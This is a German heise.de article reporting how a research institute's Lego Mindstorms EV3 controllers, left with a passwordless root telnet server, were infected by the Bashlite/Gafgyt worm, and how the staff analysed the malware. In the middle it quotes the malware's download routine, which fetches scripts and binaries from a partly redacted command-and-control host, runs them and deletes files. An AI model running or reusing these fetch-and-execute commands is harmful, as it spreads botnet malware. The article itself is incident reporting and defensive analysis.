zurück zum Artikel

Analysiert: Lego Mindstorms fĂŒr Cyber-Angriffe missbraucht

Imanuel von Cube
Aufstand der Roboter

In einer deutschen Forschungseinrichtung arbeiten auch Lego-Roboter im Dienste der Wissenschaft. Eines Tages entwickelten diese jedoch ein gefÀhrliches Eigenleben.

Auf dem Steuercomputer Lego Mindstorms EV3 lĂ€uft ein ungeschĂŒtzter Telnet-Server mit root-Nutzer.

Auf dem Steuercomputer Lego Mindstorms EV3 lĂ€uft ein ungeschĂŒtzter Telnet-Server mit root-Nutzer.

(Bild: Lego)

Ende September warnte uns unser Provider, dass aus dem Netz unserer Forschungseinrichtung ein Portscan durchgefĂŒhrt wurde. Auf der Suche nach dem Verursacher stellte sich zu unserer Verwunderung heraus, dass die angegebenen IP-Adressen nicht zu einem Arbeitsplatzrechner gehörten, sondern zu den Steuereinheiten des Robotik-Baukastens Lego Mindstorms EV3, die wir fĂŒr diverse Projekte einsetzen. Darin steckt ein ARM-9-Prozessor mit 300 MHz, der ein Embedded Linux antreibt. Ihm stehen 64 MByte RAM zur Seite.

Die EV3-Steuerungen hatten wir mit WLAN-Sticks in unser Netz gehĂ€ngt. Als Sofortmaßnahme haben wir die VerdĂ€chtigen in der Firewall gesperrt, woraufhin die Attacken erwartungsgemĂ€ĂŸ verstummten. Um der Sache auf den Grund zu gehen, richteten wir ein MacBook ĂŒber die Internetfreigabe als Accesspoint ein und verbanden die EV3-Steuerungen damit.

Die Mindstorms-Steuerung scannt agressiv auf dem Telnet-Port 23.

Die Mindstorms-Steuerung scannt agressiv auf dem Telnet-Port 23.

Auf dem MacBook konnten wir mit Wireshark nun den Traffic der aufstĂ€ndischen Roboter unter die Lupe nehmen. Die GerĂ€te scannten tatsĂ€chlich große IP-Adressbereiche auf Port 23, dem Standardport fĂŒr Telnet. Da wir ausschließen konnten, dass diese Scans von unserem Code verursacht wurden, mussten wir ab diesem Zeitpunkt davon ausgehen, dass die Steuercomputer des dĂ€nischen Spielzeugherstellers mit einem SchĂ€dling befallen sind.

Eine kurze Recherche ergab, dass es sich wahrscheinlich um den Telnet-Wurm Bashlite handelt. Er scannt das Netzwerk nach Telnet-Servern und versucht sich dort auch mit Standardpasswörtern anzumelden. Anschließend infiziert er die Systeme und macht sie zu gefĂŒgigen Bots, die auf Zuruf DDoS-Attacken ausfĂŒhren.

Auf diese Weise hatte sich der SchĂ€dling offenbar auch in die EV3-Steuerungen eingenistet: Es zeigte sich, dass auf den GerĂ€ten ein Telnet-Server lĂ€uft, an dem man sich als "root" anmelden kann – ganz ohne Passwort:

Aufstand der Roboter: Lego Mindstorms fĂŒr Cyber-Angriffe missbraucht

ZusÀtzlich fanden wir auf den Systemen noch einen SSH-Server, den der Virus jedoch selbst installiert hatte.

Eine detailliertere forensische Untersuchung war erst mal nicht möglich, da der SchĂ€dling nur im RAM der EV3-Steuerungen residierte und wir die GerĂ€te zwischenzeitlich neu gestartet hatten. Unsere Netzwerkprotokolle zeigten, dass diverse IP-Adressen von außen versuchten, eines ehemals infizierten Steuerungens-Systeme zu erreichen. Um den Fall weiter untersuchen zu können, ließen wir die Kontaktversuche zu, worauf die Lego-Hardware erneut infiziert wurde.

Nachdem wir per Wireshark die Infektion live miterlebt hatten, zeigte der Befehl "ps" einen ungewöhnlichen Prozess namens "co5", der auch fĂŒr die sofort beginnenden massiven Scans nach neuen Opfern verantwortlich war. Unter dessen PID "xxyy" konnten wir dann in /proc/xxyy/exe tatsĂ€chlich ein Binary des aktiven SchĂ€dlings finden und auf eine microSD-Karte kopieren.

Virustotal.com bestÀtigte unsere Vermutung, dass es sich um den SchÀdling Bashlite/Gafgyt handelt [1]. Weitere Details lieferte uns der Befehl "strings"; etwa den potenziellen Namen des Programmierers in einer Pfadangabe: "/home/landley/work/ab7/build". So kamen wir auch der Download-Routine auf die Schliche, die ein Shell-Skript namens c.sh nachlÀdt:

cd /tmp; rm -rf c.sh; wget http://93.174.xxx.yyy/c.sh; 

Die Datei c.sh versucht erst, schon vorhandene Instanzen des Virus zu killen und startet dann weitere wget-Aufrufe, die die Dateien co1 bis co17 von 93.174.xxx.yyy herunterladen. Diese flaggt das Skript anschließend als ausfĂŒhrbar (executable), ehe sie schließlich gestartet und vom Speichermedium gelöscht werden:

cd /tmp && wget -q http://93.174.xxx.yyy/co1 && chmod +x co1 && ./co1 
...
cd /tmp && wget -q http://93.174.xxx.yyy/co1 && chmod +x co1 && ./co17
rm -rf *

Leider hatten wir nicht die nötigen Ressourcen, um uns die Downloads co1 bis co17 en Detail anzusehen. Wir lokalisierten jedoch den Command-and-Control-Server und benachrichtigen den Abuse-Kontakt des Hosters. Der wies jede Verantwortung fĂŒr den Inhalt des Servers von sich. Inzwischen sind immerhin dort die Dateien nicht mehr zu finden.

Anschließend konfrontierten wir Lego mit unseren Beobachtungen. Nachdem wir mehrfach nachgehakt hatten, gestand das Unternehmen via Mail ein, dass die EV3-Steuerungen nicht direkt gegen Angriffe von außen geschĂŒtzt und somit angreifbar sind. Dies erfordere jedoch eine "digitale Verbindung zu anderen GerĂ€ten" – wie eben jenen WLAN-Stick, den wir mit dem USB-Host-Anschluss der EV3 verbunden hatten. In einer weiteren Mail erklĂ€rte ein Entwicklungsleiter, dass man derzeit untersuche, wie man das Problem am besten lösen könne. Danach hat sich der dĂ€nische Spielzeughersteller nicht mehr bei uns gemeldet.

Das Internet Of Things (IoT) und die fortschreitende Anbindung von allen möglichen Dingen an das Internet stellt eine neue Bedrohungslage dar. Obwohl in diesem Falle wahrscheinlich kein großer Schaden angerichtet wurde, hatten Fremde root-Zugriff auf Rechner im Netz eines Hightech-Forschungsinstituts. Wer eine EV3-Steuerung betreibt, sollte tunlichst darauf achten, dass die Netzwerkkonfiguration keine Zugriffe von außen durchlĂ€sst. (rei [2])


URL dieses Artikels:
https://www.heise.de/-3055305

Links in diesem Artikel:
[1] https://www.virustotal.com/fr/file/4d7e61dfb0d67e401dfc603699b528255382230fa58474a8b3ae44d3e10872e5/analysis/1452676376/
[2] mailto:rei@heise.de